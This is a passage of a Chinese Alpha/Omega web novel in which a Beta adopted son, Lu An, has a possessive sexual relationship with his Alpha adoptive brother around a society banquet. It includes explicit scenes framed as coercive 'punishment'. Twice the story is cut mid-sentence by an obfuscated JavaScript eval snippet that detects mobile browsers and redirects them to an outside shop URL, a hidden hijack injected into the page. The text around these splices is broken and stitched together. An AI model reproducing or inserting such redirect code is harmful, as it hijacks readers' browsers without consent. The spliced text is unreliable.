Beta的唇舌比棉花更柔软,比果冻更滑腻,泛着丝丝缕缕的甜,犹如潘多拉的魔盒,让陆谨之生出一股探索欲。每一次在对方上颚的轻扫,陆安都会微微颤抖,就像那个时候一样,这是一种格外新奇的体验。 早知道接吻如此美妙。 他应该在陆安爬上他床的第一天,就狠狠吻住这双唇,将人吻到窒息。 陆谨之喟叹着,把因为一个亲吻便彻底瘫软下来的人一捞,走向床榻。 接着,继续。 兴许是这阵子实在太过折腾,陆安晕过去了一会,不知道多久。醒过来的时候,第一时间便察觉陆谨之还没有出去。 根本就是畜牲吧……连他晕过去都不放过。 “醒了?”Alpha的五感就是这样敏锐,即便还在埋头苦干,偏偏依旧能第一时间发现陆安醒了过来。 陆安不说话。 陆谨之不需要他说话,下一瞬就俯身再度亲下。 这一亲像是上了瘾,完全不知停歇。 陆谨之似乎爱上了这种四瓣唇贴在一起的感觉,一直不曾分开。 上下都一样。 陆安感觉嘴巴都要肿了。 第二天拿出手机打开前置摄像头,不出意外的,嘴巴上像是挂了两根香肠。那双清透的眸子如水洗,带着初醒的迷茫,映着晨曦,又如同洒下星子的星河,晃着盈盈的光。 另一侧的床早已冰凉,只从被褥上留下的皱褶可以看出,那里曾经躺过另外一个人。 陆谨之不知道什么时候走的,陆安一边生气,一边想着对方跟他之前一样鬼鬼祟祟从走廊上一探一探地走回自己房间的样子。 ‘噗嗤’。 陆安捂着嘴偷笑了一阵,刚爬起来了一点又跌回去,笑不出来了。 还好今天没有关于体能方面的训练,陆安一边骂骂咧咧,一边慢慢撑起来,适应那阵疼过后开始快速去浴室冲洗。 可饶是如此,他下楼的时候,餐桌上陆严夫妻俩还有陆谨之三人的早饭已近尾声。 陆安正好听见陆严开口:“周六你郑叔的小儿子回国要举办宴会,你替我去吧。” 这种宴会也是名利场,并非简单的接风洗尘,能去的也都是世家子弟或者名流新贵。加之近来公司跟郑氏那边有合作,陆严的意思陆谨之很清楚。 他颔首:“好。” 陆严满意了,坐在他身旁的陆苓却是拧起了眉,视线扫向楼梯口。 姗姗来迟的陆安同她望过来的视线对了个正着。 刚洗了个澡的陆安还带着一身水汽,因为赶时间没来得及吹头发,黑色碎发一绺一绺地贴在额前,一滴水珠贴在发梢上摇摇欲坠。 陆谨之也跟着转脸。 对上他深黑眼眸的刹那,陆安下意识紧绷了身体,那滴水珠终于不甘重负地落了下来,恰好落在唇畔,为那鲜红欲滴的色泽更添一分水光,堪称秀色可餐。 陆谨之端起手边的杯子往干涩的喉间灌了口水。 “怎么下来这么晚?”陆苓有些不悦的声音响起。 陆夫人最讲规矩,但以前深受宠爱的陆家小少爷不用守。现在是一层层规矩束缚下的陆家编外人员的陆安,必须牢牢遵守每一条规矩。 陆安僵着身子,抿着红润的唇,想回一句‘刚刚是在洗澡’。但他话还没出口,便听陆谨之倏然道:“我吃好了。” 陆苓眉尖轻蹙,仍是不满地看了陆安一眼,旋即侧目望向自己儿子,“这么快就吃好了,我特意让王姨给你盛的银耳莲子羹喝了吗?” 陆谨之抬手,去拿另一个碗,仰头。Alpha格外明显而立体的喉结隆起,呈锐角状的凸起随着吞咽时一起一伏,动作也尤为巨大,碗中的东西被一饮而尽,小碗放在桌面发出一道清脆的响声,“喝完了。” 陆苓噎了噎。 陆谨之目光沉静:“可以走了吗?” 陆苓脸上的表情有些不好看,最后还是陆严开口:“去吧,在公司好好表现,最近你那几个叔伯都夸你,再等你历练一些时日,乘风迟早会交到你手上的。” 陆谨之并未出声,转身离开,视线从楼梯口掠了眼,脚下不停地往门口走去。 他的身影刚消失,陆苓便猛地摔了手边的茶盏,其他佣人早在大少爷跟夫人的那阵僵持中被管家遣走,并未看见这不符合世家小姐风度的一幕。唯有陆安屁股还在疼,慢了一步,此刻尴尬地退也不是进也不是,只能愣在那里。 所幸餐桌上的两人并未注意到。 陆苓开始数落:“他现在是越来越不把我这个母亲放在眼里了,那是什么态度?你的教育是不是出了什么问题?我们陆家还从来没有过这么不服管教的孩子。” 陆严抬手按揉眉心,有些无奈:“谨之是个Alpha,从小成绩优异不需要我们管教也长成了其他人口中‘别人家的孩子’,已经能独当一面、” “你这话是认为是我的错了?”陆苓不满地乜他。 陆严从善如流地改口:“谨之还得再历练历练。” 陆苓顿了顿,似乎心情被捋顺了一点,旋即不疾不徐地用餐巾擦了擦嘴,动作恢复优雅,“听说郑总家那个小儿子是个Omega,有时间可以让谨之跟人接触接触。” 陆严此时不欲同她唱反调,只一味附和:“夫人说的是。” 陆苓终于满意,目光慢慢再次挪向楼梯,瞥见往回走到一半的人,冷声:“你们今天没课?” 忽然听到她的话,知晓这是在向自己提问的陆安脚步顿住,缓缓转过身,“……有。” 陆安没等陆苓发难,便火速道:“我现在就去。” 话落,他忍着疼,匆匆往房间奔,回房拿了书包就朝外面跑,生怕慢了一步便会被抓着盘问,接受养母如刀的锐利视线。 好不容易逃出家,陆安拿出手机查看时间。离上课还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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很好看,是放在人群中,一眼便能让人锁住目光的那一位,陆谨之站在门边盯着看了许久,少顷上前单手掐住陆安的腰身把人转过来。面对着面看,那张无暇的小巧面庞被他尽收入眼,天然上翘的睫羽打着小卷,拢过来时正好整个嵌进怀中,仿若天然缺失的两个半圆合为一体,精准得恰到好处。 陆谨之:“脸抬起来。” 陆安心弦一崩。 陆谨之刚张口就知道这人想做什么。 下一刻,果然听他道:“张嘴。” 陆安听话张开嘴。 陆谨之低头,侵入。 行云流水。 陆安呼吸急促,脸红到脖子。 陆谨之放开他时,凝视人半晌,倏然道:“记住自己的身份。” 陆安已经习惯他时不时说这么一句,讷讷点头。 陆谨之看他点头,忽地掐住他的脸,眉头拢着,“你只是我弟弟。” 陆安嘴巴被掐得嘟起,什么话都说不出,只能眨着那双水润清透的眼睛。他天生一双狐狸眼,上翘着眼看来的时候格外勾人,似在索吻。 陆谨之垂首,再一次含住他的唇,抬起时嗓音冷淡:“即便日后我成了家,你也不会被赶出陆家。” 这是他的承诺。 陆安眸光略微闪动,这正是他想要的,也是他爬上陆谨之床的唯一目的。 陆谨之看着他露出一点开心的眸子,忽然抬手,大掌把他眼睛盖住。 紧接着,如同告诫的话语,一遍又一遍地提醒而出:“其他的,你不要想。” 7. 第七章 视野被覆盖,陆安知道陆谨之仍在注视着自己,纤长睫羽下的眼珠动了动,搔刮到带着薄茧的掌心,带起一阵燎热。陆谨之指尖微收,忽然想看到那双眼睛,他将手垂放回去,正对上陆安直直望来的目光,眼神依旧澄澈明净。 陆安对他说:“我知道。” 他一直都知道的。 自己爬上陆谨之的床原也不是为了其他什么东西。 陆谨之闻言却是皱了皱眉。 这个答案他理应满意,然而当陆安真正说出来时,他又想让对方闭嘴。 陆谨之是这么想的,于是也就这么做了。他倏地低下头,将那张会说出他不爱听的话的唇堵上,舌尖一寸寸探入,毫不犹豫卷走陆安口腔中的一切,包括呼吸。 直到被他吻住的人感觉到窒息抓住了他的衣服,指尖又逐渐变得无力地松开,陆谨之方才满意。他望着气喘吁吁只能靠在自己怀里的Beta,指腹轻轻摩挲对方后颈。 “该走了。”陆谨之道。 陆安有点站立不稳,攀着陆谨之的胳膊才勉强站定,想悄悄瞪一眼人又怕被发现,只能埋着脑袋。露出来的脖颈修长白皙,平坦而光滑,没有一丝多余的痕迹。 这两天陆谨之在忙公司的事情——陆严之前说要把乘风彻底交给他,之后也确实放权了,每天晚上回来时陆安的房间灯已经熄了,他便没找到机会再‘标记’。 陆谨之眉头动了动,忽而又觉得不满,体内的信息素似乎也开始暴动,欲在那瓷白光洁的肌肤上留下点什么,让它重新变得红肿糜烂。 但理智告诉他,现在得去赴宴。 陆谨之伸出手,两指轻易钳住陆安下颌,将他的脸抬起来。看清他脸上慌乱的表情,以及面颊上还未来得及消下去的绯色,喉结滚动:“我抱你下去。” 他们是从陆谨之住的房子出发,一早陆安就被他接了过来,家里没有其他人,陆谨之抱着还在腿软的陆安一路走到车上。 在陆谨之弯腰过来给他系安全带的时候,陆安下意识往座椅后靠了靠。 陆谨之眉尾微扬,那张向来冷淡矜贵的面庞泄出一丝情绪,唇角挑起一抹微不可查的弧度,他低着眼,“怕什么?” 陆安看了看他,没说话。 怕你不行啊,死变态。 上次陆谨之把他从学校接回来,就是在车里…… 陆安瞥着那双系着安全带的手,骨节分明,脉络清晰,淡青色的血管,凸起的青筋。当时陆谨之就是用这双手,丈量着他的肚皮,按在他被顶起来的地方。 陆谨之给他系完安全带,指腹在他滚烫的耳垂上捻了捻,“怎么这么烫。” 陆安眸光闪动,接着,一个吻贴了过来。以前明明从来不愿意碰他嘴唇的人,现在一天恨不得亲他八百遍,惯常凛冽的音色被喑哑覆盖,陆谨之附在他耳畔,低低说:“在车上,你好像会变得更敏感。” 之前陆谨之便体会过一次。 咬得他发疼。 陆安还未开口,陆谨之便主动含了含他的耳尖,低语:“找个时间,再来一次吧。”而后没给他说话的机会,吻从耳尖重又落回了唇畔。 如果不是等一下还要去参加宴会,陆安觉得,自己的嘴巴怕是好不了了。 他朝车窗外扫了扫,发现自己看起来并不像叼着两根香肠,这才微微松了口气,开始关注起外面的街道来。 这次的宴会在郑家老宅举办,是位于郊区的一处庄园。他们过去的时候,宴会厅中已经来了许多人,巨大的水晶灯映照着厅内衣着华丽的男男女女,他们相谈甚欢。 但陆谨之出现后还是引起不少人注意,说话间的众人纷纷将视线投递过来。 陆氏在整个B市都是属于金字塔顶端上的存在,这位年纪轻轻的陆氏继承人近来更是在商场上崭露头角,隐有接管乘风的趋势。在场的年轻一辈无不被家中长辈提醒过,而年长的看向陆谨之,眼中更是带着赞赏。 陆谨之甫一入场,就被相熟的人叫住。 陆安见他顿住,小声说:“你去吧。” 陆谨之逡巡过周遭,同他道:“在这等我。”郑老爷子还未出现,倒是那位刚回国的郑家小少爷此刻被人团团围着。 陆安点点头。 陆谨之落在身侧的手指指腹轻轻摩挲了下,想要按在跟前人后颈,腕间手环发出‘滴滴’的声音——下车前陆谨之戴上了信息素抑制剂手环,可以用来调节、掩盖信息素。此刻在提醒着他,信息素又一次开始了它的蠢蠢欲动。 陆安也注意到了,但他刚看过去,就见陆谨之面无表情地在上面摁了摁,‘滴滴’声止住。他看一眼陆安,留下一句‘不要乱跑’,旋即走向了刚才叫住他的人。 那人是乘风合作方的公子,是个Alpha,素来男女不忌,ABO三种性别在对方这种阔少眼中更是不值一提。陆谨之并不想带着陆安过去,他的弟弟无需同这种作风不良的人打交道。 陆安目送陆谨之走远。 他颇有些百无聊赖,加上这是他第一次来参加这种宴会,还有点手足无措。 陆安默默往宴会厅角落挪,挪到了宴会厅另一边的小厅里,这边倒是没什么人,让他自在很多。 至于陆谨之说的那句‘不要乱跑’,谁管他。 陆安从走过的佣人手中端了杯橙汁,刚用吸管嘬了一口,便听几道声音由远及近。 “你那个Beta弟弟居然也来了。” “啧,乡下接回来的就是上不得台面。” “你们不要这么说小毅,他都回来好几年了。” “回来得再久也是个土包子,已经被乡土气腌入味了……阿纯我看你就是太善良,才让他死皮赖脸地跟着你。” “看我把他叫过来好好羞辱一番。” …… 陆安听到几人的对话,转头往外面的小花厅看了看,而后收回视线。 这跟他有什么关系,他一个自顾不暇的陆家养子,还不知道哪一天会变成陆家弃子…… “你算什么东西?” “杜毅是吧?知道什么是Alpha,什么是Omega吗?乡下老师会教吗?” 被唤做杜毅的青年垂首而立,略长的黑色碎发遮挡住了眉眼,露出来的皮肤透着健康的小麦色,在其他人眼中却是穷与富的差别。 还是没忍住跟过来的陆安望着站在一群富二代少爷小姐面前的青年,心生恻隐。 “他一个Beta,能知道什么。” “呵,Beta就是……” “是什么?”陆安忽地往前一步。 话音落下,先前说话的众人全都转过了目光,视线落到了从花架后走出的人影。 男生介于少年与青年之间,穿着剪裁得体的衣服,恰到好处勾勒出挺拔的身影,如同被精心雕琢打磨的羊脂玉,又仿似庭中坚韧伫立的松柏玉树。那双天然上翘的狐狸眼自有一股说不出的张扬,像是冬日里穿透云层的第一抹晨曦,阳光而耀眼。 刚刚陆安被陆谨之带进来的时候,所有人都注意到了。 此时再见,只觉这一看就是被捧在手心里长大,养尊处优的小少爷。众人面面相觑,一时竟没能说出话来。 然而,陆安哪里是什么小少爷,而是一尊小泥菩萨,随时随地都有可能掉进水里,摔成一地小泥巴。他强自镇定,用刚到陆家那些年养出来的骄矜贵气,努力摆出傲然的模样,“Beta又怎么样?我看Beta就很好。” 这是陆安的心里话,在他眼里Beta不知比Alpha和Omega强到哪去。起码Beta不会被所谓的发情期、易感期支配,成为只知道交.配的野兽。 就像陆谨之易感期那样…… 陆安打断了这些人的话,心里还有点惴惴的。 但他的涵养与素质做不到将‘霸凌’视若无物。且,同样身为Beta,陆安不觉得这是耻辱。 这些人要找麻烦,应该去找陆谨之才对。既然把他带出来了,有什么事就该陆谨之担着。 思及此,陆安也便慢慢放下心来。 其他人见陆安神态嚣张,似有倚仗。而他们这些人所有家族揉在一块都不够陆氏看的,遂齐齐讪讪一笑,“请问你跟陆总的关系是?” 陆谨之如今已经被陆严任命成了副总,不日就是总裁。之后陆严还会把自己的位置让出来,对方是陆氏集团板上钉钉的继承人,未来陆氏的掌权者,加之近来陆谨之展露的雷霆手段,更是没谁愿意得罪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129347|196188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道这些人欺软怕硬,于是陆安用陆谨之之前的话回答:“他是我哥。” 陆家竟然还有个小少爷? 众人再看陆安样貌,这长得也不像,但这份气度应该除了陆家也养不出来了。但得到答案后,他们还是愿意给个面子——纵使这不是陆家小少爷,那也是陆谨之亲自带来的,依然得罪不起。 所有人四下散开,唯有那个刚才被叫做‘阿纯’的青年往陆安身上看了几眼,咬着唇离开。 待他们一走,陆安刚刚强撑起来的一口气这才猛然卸掉,心跳还在扑通扑通。 他刚刚……是阻止了一场霸凌吧。那是上流社会对底层的蔑视,是AO群体对Beta的嘲弄,是陆安体会过的,从云端跌入谷底的曾经。 陆安软着腿,还是想回去,先跟陆谨之提前说一下,自己好像用对方的名义威慑了一群富家子弟。 不知道陆谨之会怎么样…… 他刚走出两步,就听到身后的人喊了他一声,“陆安?” 陆安回首。 就见刚刚被其他人围住的男生抬起脸,露出一张硬朗坚毅的面庞,眉毛黑浓,那双眼睛大而有神,此时仿若被注入神采,冲他粲然一笑。 陆安一顿,“你怎么知道我叫什么?” 他刚问完这句,便听斜刺里传来一道清越如击缶的嗓音,“安安。” 陆安转过脸,就见陆谨之出现在他刚才站着的花架下,身形被挡了一半,阴影笼着眉眼,看不清神色。 陆谨之同他道:“过来。” 陆安再顾不得其他,快步朝人小跑过去。 “我叫杜毅。” 后方声音追了过来,陆安已然行至陆谨之跟前,正欲回头,脸就被陆谨之掐住,不准他往后看。刚刚还借用了一回对方名义的陆安有些许心虚,同他弯了弯眼,抿出个略带讨好的笑。 “陪我去敬酒。”陆谨之话落,拉着他便往宴会厅走去。 陆安被他带到郑老爷子面前。 郑老爷子看向陆谨之,对他赞不绝口,矍铄的眼底全是对小辈的欣赏,“这个是?” 陆谨之:“我弟弟。” 郑老爷子隐约知道一些内情,颔了颔首,对着陆安夸道:“是个好孩子。” “饿了吧,等下去跟你青宇哥哥说说话。”郑老爷子说完又看向陆谨之,俨然是还有话要跟他说。 郑青宇便是郑老爷子刚回国的小孙子,陆安听出对方这是要支开自己,刚打算转身,身侧的手就被抓住。 陆谨之:“我带他去吃点东西,稍后过来跟您敬酒。” 郑老爷子微顿,倒是没阻拦。 陆安心中带了点诧异,他被陆谨之一路拉着往休息室走去。路上,陆安把刚才在小花厅里发生的事告诉了他,同时露出一个可怜巴巴的表情。 正在这时,陆谨之揽着他进了休息室,房门‘咔哒’落锁的声音传来。 陆安蓦然僵住。 “你用我的名义,帮了其他人?”陆谨之语气不咸不淡,面上仍是那副疏冷的表情,眼神却勾勾盯向陆安,让他心头不自觉发紧。 “……嗯。”陆安刚应了声,忽然就是一惊,“啊——” 他连忙捂住嘴,感觉到肚子接触到有些微凉的空气。休息室里的空调温度有点低,冷气嗖嗖沁入腰身。 陆安的衬衫被陆谨之从裤子里扯了出来。 紧接着,他听到陆谨之说:“自己咬着。” 陆安放下手,再也忍不住道:“你疯啦!” 这里还是别人家里,他们怎么能…… 陆谨之目光沉静,挑起一边眉梢。 只是一个对视,自知理亏的陆安瞬间败下阵来,不情不愿去咬衬衫,含糊问:“你要……干嘛。” 陆谨之并未第一时间回答。 很快,当陆安被叼住的刹那,就知道他要干嘛了。 陆安看着胸口前的黑色脑袋,一阵头脑发晕,而后是吃痛的一声‘嘶’。 陆谨之深邃的眸子自下而上看着他,嗓音无波,却带着让陆安头皮发麻的警告,“惩罚。”说话间热息喷吐上来,更是加深了他的反应,让陆安禁不住一抖。 话落,陆谨之再次咬上,牙齿碾磨。 8. 第八章 陆谨之发现,被惹急了的陆安脸上神情总是格外生动。 就像现在。 陆安眼尾发红,一副被他欺负得狠了的样子,还敢怒不敢言,方才的那句‘你疯啦’仿佛是他的幻听。莫名的,陆谨之想让他说出点更狠的话,遂力道又重几分。 伴随着信息素手环发出的‘滴滴’声响起的,还有仿佛小动物喝水的啧啧声,随着手环被关掉后,响彻耳畔。 陆安叼着衬衫,不敢发出响动,甚至有点感谢陆谨之让他这么做了,否则陆安都不确定自己有没有那个力气捂嘴。 然而,就在这时,陆谨之倏尔伸出一只手将他口中的衣服扯下。失去了堵塞物的嘴巴重获自由,又是一道清晰的水声回荡耳畔,陆安连忙伸出手压制着喉头即将溢出的声音。 陆谨之撩起眼皮看去,那双盈盈的眸子分明失去了焦点,却还透着忍耐。他正待继续,只觉被他捞住的人身形猛地颤了颤,像是害怕到了极点。 不知不觉间,陆谨之停了下来,抬起头望向陆安。 陆安还在喘着气,像是没有注意到他的动作,仍在微微发着抖。 陆谨之似有所觉,垂目,扫到什么,他唇角动了动,在他耳际低声道:“这么有感觉?” 陆安连瞪他一眼的力气都没有,内心羞耻到爆棚。 谁被这么对待还没感觉的啊! 陆安也跟着朝陆谨之看,果不其然。 呵……他都没有跟陆谨之一样,这个人都有了,凭什么他不能有? 到底是别人的地方,陆谨之没再做多余的事,只是把人抱到休息室沙发坐定,自己则拖了张椅子过来坐到了他对面,这个位置可以清晰看清陆安现在的样子。面颊的绯色直染上脖颈,眸子水润,挺翘的鼻尖沁了层细密的小汗珠,唇瓣紧抿。 倘若现在他们不是身处郑家老宅的休息室又当如何? 应该不用再抿着唇,从中会发出小小的哼唧声,偶尔声音稍微高亢一些,却十分悦耳动听。细密的汗珠会沿着额角鼻尖往下滑,一路延伸至颈间,给那瓷白的皮肤添上一层诱人的色泽。 陆安已经平复好,一抬眼,就看见正对他的陆谨之,耸立的位置十分瞩目,将挺括西裤撑出一个大包。 还没好啊…… 陆安迅速将目光收回来,却仍能感受到对方落在自己身上的灼人视线。换作平时,陆谨之大概就直接开始了,亦或者把他的手拉过去,但他依旧坐得稳稳当当,甚至双腿闲适地叉开,放任陆安的目光扫过。 陆安被他看得有些不自在,又不敢吭声,他在心里数数。 大概过了一刻钟,陆谨之那边终于有了动静。陆安小心翼翼地抬眼,只见刚刚的大包非但没有消下去,反而愈发明显,他心中一惊,正同陆谨之看向他的眼神相撞。 陆谨之哑声开口:“你先出去。” 陆安以为他要自己解决,松了口气的同时,一溜烟就朝门口奔去,“我帮你看门。” 出乎意料的,陆安在门口守了没多久,陆谨之便出来了。比他预想中的时间快了许多,甚至没有刚才他们两个人在里面坐着的时间长,但陆安没敢多想。 陆谨之还要去见郑老爷子,陆安亦步亦趋跟在他身后,正好看见刚才欺负人的那群二代们,忍不住扯了扯陆谨之的袖子。 在陆谨之侧目望过来时,他小声道:“就是那些人。” 陆谨之顺着陆安的话扫向正不断朝这边打量的一群人,那些人发现他的视线,不约而同地偏开头,都在心中确认了陆安确实有陆谨之撑腰。 陆安见状就明白那些人心里在想什么,于是跟陆谨之挨得愈发近。下一刻,一只手伸到他面前,陆安不禁抬眼去看身侧目视前方的人,顿了几秒才把手放到对方掌心。 陆谨之牵着他,重新往郑老爷子所在的方向走去。 这时,这场宴会的主人公郑青宇也站在郑老爷子身旁。看见他们过来,郑老爷子同小孙子乐呵呵地介绍。 跟陆安想象的不同,郑青宇不是那种面容姣好,一看就是被精心供养起来的小少爷模样。相反,他的皮肤泛着层蜜色光泽,眉宇间萦绕着明媚的笑,大方又自然,通身充满了自由活泼的气息。 陆安不自觉被对方的气质吸引。 似乎是察觉到他的视线,郑青宇笑着摸了摸脸,爽朗道:“是不是吓到你了,最近冲浪晒黑了哈哈。” 陆安刚要摇头,就发出一声吃痛的‘嘶’。正在和郑老爷子谈话的陆谨之忽然捏了他一下,陆安这才发现对方还没松开自己。 但是下一瞬,他的手便失去了桎梏。陆谨之并未看他,再度同郑老爷子交谈起来,只抽空淡声道:“不要乱跑。” 这一声不同于先前的提醒,而是带着浓浓的警告意味,透着只有陆安才能听出来的危险信号——再乱跑,估计就不只是惩罚那么简单了。 “你哥管的真严啊。”郑青宇冲他俏皮地眨了眨左眼。 两人往旁边走了点,陆安听到他这么说,下意识朝陆谨之那边瞥了瞥。不知道是不是因为察觉到他的目光,陆谨之停下话头,忽然睨了他一眼,眉头蹙了蹙。 陆安默默收回视线,宴会厅里这么吵,对方应该不是听到了郑青宇的话吧,但他开口时还是压低了嗓子,“是啊。” 郑青宇笑起来,感觉陆安害怕被听到似的小声附和他话的样子有点可爱,便继续:“你有点怕他?” 陆安这次很小心地往陆谨之那边觑,确定人没看这边,遂接着又点点头,“是啊。”怕死了,怕对方一个不注意就Alpha性大发。 郑青宇:“但是我看他似乎很重视你的样子。”这样的兄弟情放在他们这个圈子很是难得。 陆安瞪大眼睛,怀疑自己听错了。 郑青宇不由想逗逗他,“你是Beta?” 陆安:“对。”他没有看出郑青宇对Beta有什么意见,对方跟刚才那些看不起Beta的富二代们明显不同。 接着,只听郑青宇道:“我就喜欢Beta。” 陆安没有料到他会说出这个,身为Omega的郑青宇会更喜欢Beta。事实上,一开始的陆安其实更喜欢Omega,他一直以为自己能够长成陆夫人期望中 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陆安被他捏着脸,满脑子里都是那句‘要不要做我男朋友’,一时忘了反抗。而郑青宇也揉得起劲,手底触感热乎乎、软绵绵,不像他被晒得糙糙的,郑青宇颇有些爱不释手。 这时,手下的触感消失。 陆安被人从背面往后托着退了几步,拉开了跟郑青宇的距离,后者的手还扬在半空。面对冷着脸的陆谨之,郑青宇干咳一声,“那什么,我有点口渴,去喝杯水。” 话音落下的一瞬,郑青宇的身影已然跨出了三步开外。 陆安后颈被轻轻揪住,一股熟悉的酥麻顺着被压着的位置直朝尾椎窜去。 陆谨之:“你们刚刚在说什么?” 陆安摇头:“没说什么。” 陆谨之语气平平,指出问题:“他摸你。” 陆安听着只觉得怪异,轻声解释:“郑哥在跟我开玩笑。” “郑哥?”陆谨之倏然道。 虽然对方仍是那副平淡无奇的口吻,语调却透着说不出的古怪,令陆安有种脊背发麻的感觉,好像下一秒就会被对方拆吃入腹。 “他比我大……”理应叫哥,可陆安刚开了个头,他努力偏过脸瞥见了陆谨之的神情,忙把话咽下改了话锋:“郑少刚刚在跟我开玩笑。” 陆谨之没说话。 还没等宴会到尾声,陆安就跟着陆谨之提前离开了郑家老宅。 车子径直往陆谨之住的房子开去。 当再次来到地下车库,陆安似乎已经能预料到接下来会发生的事。座椅被放平下去,视野从车顶很快转变成了撑在上方的陆谨之。 陆安眼睫眨动。 “我对你不好?”陆谨之蓦地问。 陆安没明白他的意思。 哪里好?一天三顿的干还是动不动就亲?难道是今天带着他去宴会了?但这并不是陆安要去的。 没等他想出个所以然来,陆谨之的声音复又响起,“想有别的哥哥?” 原来问题出在这。 陆安刚想找补,他只不过顺嘴一说,却在开口前闷哼了一声。 他的腿被折叠起来。 随后,架到了陆谨之肩头。 9. 第九章 即便是陆安本人,也从来不知道自己的身体柔韧度这么好,陆谨之总会开发出各种各样的角度。下车的时候,陆安觉得腿都不是自己的了,刚踩下去腿肚子就是一软。 陆谨之关上车门,轻松将人抱起,双手托住陆安屁股,让他趴靠在自己肩头。 陆安把脸深深埋下去,鼻端吸进对方的气味。是和陆谨之这个人一样冷淡、清冽的气息,带了点热气散尽后冷却下来的余温。 他屏住了呼吸,想把刚才发生的都忘掉。 陆谨之倏然停下。 陆安感觉到后腰被掐住,与方才在车上时一样的动作,他猛地一僵。 旋即便听陆谨之开口:“不要贴那么近。” 隐含沙哑的语调让陆安一个激灵,连忙往后仰去,他被陆谨之抱坐着的身体晃了晃,继而后背被对方托住。 陆谨之:“别乱动。” 陆安安分了,“我想睡觉……” 他怕陆谨之再说出什么后面让他腰酸腿软的事,决定率先表明自己的态度。 陆谨之步伐沉稳地抱着他走向室内电梯,“你睡。” 陆安登时如蒙大赦,浅浅靠在人肩头酝酿睡意,自头顶上方又落下一声:“吃饭叫你。” 陆安觉得他有点烦。 “我不吃。”他说。 “不要任性。”陆谨之道。 陆安抿着唇,小声嘟囔了句:“那我不睡了。” 这时,电梯停下,陆谨之带着他走向客厅,“不睡的话,可以做点别的。” “突然又困了。”陆安抬起手装模作样打了个哈欠,闭眼的时候透过指缝看清了陆谨之的脸,瞥见他面上一闪而逝的笑意。他蓦然把手放下,却见陆谨之神色淡淡,唇线平直,仿似刚才是他的幻觉。 陆安放下手,探究地望过去。 陆谨之挑起眉:“不睡了?” 陆安闭眼:zzzZZZ。 轻笑声跃入耳畔,这次陆安没再好奇去看,继续装睡。 陆谨之把他放到沙发上,接着朝厨房走去,陆安听到动静,悄然睁开一只眼睛,仅瞥见一个背影。 他也是陆谨之易感期那几天才知道,原来对方会做饭,这一点有些出乎陆安意料。他还以为陆谨之和那些豪门阔少一样是十指不沾阳春水的,毕竟对方出身陆氏,出生便拥有一切,所以陆谨之为什么会做饭。 不过想到对方手上那层薄薄的茧,陆安又觉得合理了。 十指不沾阳春水的大少爷是不会长茧子的,也不会每次探-进来都磨得他发-疼……陆安想着,眼睛缓慢合拢。 等他再次醒来的时候,鼻尖盈满了饭菜的香气,陆安睁开眼便看见陆谨之坐在沙发一侧,腿上放着笔记本,目光却……落在他身上,不知道看了多久。 陆安转了转脸,“可以吃饭了吗?” 陆谨之放下电脑,“嗯。” 闻言,陆安即刻坐起身往餐桌走,不知道多积极。看着桌上一堆自己喜欢的菜,陆安吃得十分满足,饭后还主动道:“我来刷碗我来刷碗!” 陆谨之乜他一眼:“会有佣人来洗。” 陆安:“那得堆到明天,我来就好。”吃人嘴软,他这会已经原谅了对方在车上的禽兽行为。 陆谨之并未领情,“佣人拿工资了。” 陆安:“……”对哦,他是免费劳动力。 陆谨之视线扫过他张开的唇,因为桌上两道菜辣椒放得有点多,陆安既爱吃又不太能吃,上下两瓣唇透着点红-肿。 陆谨之朝他走近,俯身的同时落下一句:“还有洗碗机。” 本就被辣椒辣得又红又烫的唇骤然被另一道带着热意的舌卷-入,陆安只想把它推出去。下一瞬,后脖子被扣-住,往前压去。 唇瓣相贴,陆谨之的声音低低传来:“张开点。” 陆安只觉嘴里的辣味非但没有消解,反而越来越浓,刺激得他眼角泛起泪花。然而,越是这样,陆谨之吻得就越重,舌-尖不断侵-入,宽大的手掌完完全全扣着陆安的脖颈,掐着下颌,迎-合着陆谨之的吻。 陆安简直不敢信,这是之前那个从来不接吻的陆谨之。 难道Alpha就是天赋异禀? 陆安又一次毫无例外地窒息了,只能被陆谨之捞着上楼。 “再亲……”陆安虚弱道,“就吐了。” Beta缩在他怀里,那双为这精巧面庞点缀出灵魂的眸子泪汪汪的,似汇着一泓泉水,委屈而又可怜。 陆谨之摩挲着他被自己粗粝掌心蹭红的脖颈,“那就吐吧。” 陆安皱着眉毛,腹诽道:真吐了你又不高兴。 他抿着唇。 陆谨之把他抱到厨房倒了杯牛奶,看着陆安喝完后,这才带着人上楼。 陆安刚被放到床上,唇角就被舔了下,他连忙伸出手抵-着人,“不行……” 陆谨之蹙眉。 思索几秒,他道:“明天周末。” 周末不用上课,但是陆安需要去赚钱,“我要去兼职。” 不能总是吃陆家的,用陆家的。陆安还记得,自己很早就失去留在陆家的资格了。 陆谨之:“我给你的卡呢?” 陆安不说话,那是另外的价钱。 陆谨之给的钱是一回事——这是他应得的。但他要兼职又是另一回事,陆谨之总有厌弃他的那天…… 剩下的,陆安没有继续想。 他还是希望尽可能留在陆家。 陆谨之见他不说话,也便没再继续,只是把人捞过来,拢到怀里。 陆安有点热,不动声色地用脚踢了踢被子,感觉自己要出汗了。加上刚才吃饭时被辣的,他觉得自己应该去洗个澡。 又过片刻,他挪动了下。 陆谨之望过来。 陆安道:“我要洗澡。” 两人对视几秒,陆谨之起身。 陆安疑惑地看着他。 陆谨之:“一起。” 陆安一动不动,忽然有点不想洗了。 但陆谨之俨然是想的,因而不由分说地把人拎起来,轻松托进怀里往浴室去。行走间,陆谨之单手去解衬衫扣子。 陆安没有动。 陆谨之平静问:“要我帮你?” 陆安哪里敢让他帮,但是也不敢自己来。 只因屁-股底下,明晃晃杵着个东西。 